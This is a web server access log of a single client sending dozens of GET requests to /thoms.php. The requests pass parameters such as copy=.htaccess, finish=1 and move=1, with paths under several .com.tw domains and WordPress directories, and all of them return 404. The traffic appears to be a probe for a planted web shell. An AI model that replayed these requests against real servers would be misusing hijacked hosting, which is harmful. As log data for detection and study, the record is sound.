45.135.193.11 - - [11/Sep/2026:23:49:52 -0400] "GET /thoms.php?copy=.htaccess&p=bioway88.com.tw%2Fpartial-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bioway88.com.tw%2Fpartial-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:52 -0400] "GET /thoms.php?copy=.htaccess&p=bioway88.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bioway88.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:52 -0400] "GET /thoms.php?copy=.htaccess&p=bioway88.com.tw%2Fmember-suspended HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bioway88.com.tw%2Fmember-suspended" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:52 -0400] "GET /thoms.php?copy=.htaccess&p=bioway88.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bioway88.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:52 -0400] "GET /thoms.php?copy=.htaccess&p=bioway88.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bioway88.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:52 -0400] "GET /thoms.php?copy=.htaccess&finish=1&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:52 -0400] "GET /thoms.php?copy=.htaccess&p=bioway88.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bioway88.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:52 -0400] "GET /thoms.php?copy=.htaccess&p=bioway88.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bioway88.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:52 -0400] "GET /thoms.php?copy=.htaccess&p=bioway88.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bioway88.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:52 -0400] "GET /thoms.php?copy=.htaccess&p=bodbooks.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bodbooks.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:52 -0400] "GET /thoms.php?copy=.htaccess&p=bodbooks.com.tw%2Fgenerated-history HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bodbooks.com.tw%2Fgenerated-history" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:52 -0400] "GET /thoms.php?copy=.htaccess&p=bodbooks.com.tw%2Fpartial-temp HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bodbooks.com.tw%2Fpartial-temp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:52 -0400] "GET /thoms.php?copy=.htaccess&finish=1&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:52 -0400] "GET /thoms.php?copy=.htaccess&p=bodbooks.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bodbooks.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:53 -0400] "GET /thoms.php?copy=.htaccess&p=bodbooks.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bodbooks.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:53 -0400] "GET /thoms.php?copy=.htaccess&p=bodbooks.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bodbooks.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:53 -0400] "GET /thoms.php?copy=.htaccess&finish=1&move=1&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&move=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:53 -0400] "GET /thoms.php?copy=.htaccess&p=bodbooks.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bodbooks.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:53 -0400] "GET /thoms.php?copy=.htaccess&p=bodbooks.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bodbooks.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:53 -0400] "GET /thoms.php?copy=.htaccess&finish=1&move=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:53 -0400] "GET /thoms.php?copy=.htaccess&finish=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:53 -0400] "GET /thoms.php?copy=.htaccess&finish=1&move=1&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:53 -0400] "GET /thoms.php?copy=.htaccess&finish=1&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:53 -0400] "GET /thoms.php?copy=.htaccess&p=besth2o.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=besth2o.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:53 -0400] "GET /thoms.php?copy=.htaccess&p=besth2o.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=besth2o.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:53 -0400] "GET /thoms.php?copy=.htaccess&p=besth2o.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=besth2o.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:53 -0400] "GET /thoms.php?copy=.htaccess&finish=1&move=1&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&move=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:53 -0400] "GET /thoms.php?copy=.htaccess&p=besth2o.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=besth2o.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:53 -0400] "GET /thoms.php?copy=.htaccess&finish=1&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:53 -0400] "GET /thoms.php?copy=.htaccess&p=besth2o.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=besth2o.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:54 -0400] "GET /thoms.php?copy=.htaccess&p=besth2o.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=besth2o.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:54 -0400] "GET /thoms.php?copy=.htaccess&p=besth2o.com.tw%2Fwrapper-global HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=besth2o.com.tw%2Fwrapper-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:54 -0400] "GET /thoms.php?copy=.htaccess&p=besth2o.com.tw%2Fsegment-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=besth2o.com.tw%2Fsegment-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:54 -0400] "GET /thoms.php?copy=.htaccess&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:54 -0400] "GET /thoms.php?copy=.htaccess&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:54 -0400] "GET /thoms.php?copy=.htaccess&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:54 -0400] "GET /thoms.php?copy=.htaccess&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:54 -0400] "GET /thoms.php?copy=.htaccess&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:54 -0400] "GET /thoms.php?copy=.htaccess&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:54 -0400] "GET /thoms.php?copy=.htaccess&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:54 -0400] "GET /thoms.php?copy=.htaccess&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:54 -0400] "GET /thoms.php?copy=.htaccess&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:54 -0400] "GET /thoms.php?copy=.htaccess&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:54 -0400] "GET /thoms.php?copy=.htaccess&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:54 -0400] "GET /thoms.php?copy=.htaccess&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:54 -0400] "GET /thoms.php?copy=.htaccess&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:55 -0400] "GET /thoms.php?copy=.htaccess&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:55 -0400] "GET /thoms.php?copy=.htaccess&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:55 -0400] "GET /thoms.php?copy=.htaccess&p=betcity.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:55 -0400] "GET /thoms.php?copy=.htaccess&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:55 -0400] "GET /thoms.php?copy=.htaccess&finish=1&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:55 -0400] "GET /thoms.php?copy=.htaccess&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:55 -0400] "GET /thoms.php?copy=.htaccess&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:55 -0400] "GET /thoms.php?copy=.htaccess&p=betcity.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:55 -0400] "GET /thoms.php?copy=.htaccess&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:55 -0400] "GET /thoms.php?copy=.htaccess&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:55 -0400] "GET /thoms.php?copy=.htaccess&p=betcity.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:55 -0400] "GET /thoms.php?copy=.htaccess&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:55 -0400] "GET /thoms.php?copy=.htaccess&finish=1&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:55 -0400] "GET /thoms.php?copy=.htaccess&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:55 -0400] "GET /thoms.php?copy=.htaccess&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:55 -0400] "GET /thoms.php?copy=.htaccess&p=big-wife.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:55 -0400] "GET /thoms.php?copy=.htaccess&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:56 -0400] "GET /thoms.php?copy=.htaccess&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:56 -0400] "GET /thoms.php?copy=.htaccess&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:56 -0400] "GET /thoms.php?copy=.htaccess&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:56 -0400] "GET /thoms.php?copy=.htaccess&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:56 -0400] "GET /thoms.php?copy=.htaccess&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:56 -0400] "GET /thoms.php?copy=.htaccess&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:56 -0400] "GET /thoms.php?copy=.htaccess&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:56 -0400] "GET /thoms.php?copy=.htaccess&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:56 -0400] "GET /thoms.php?copy=.htaccess&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
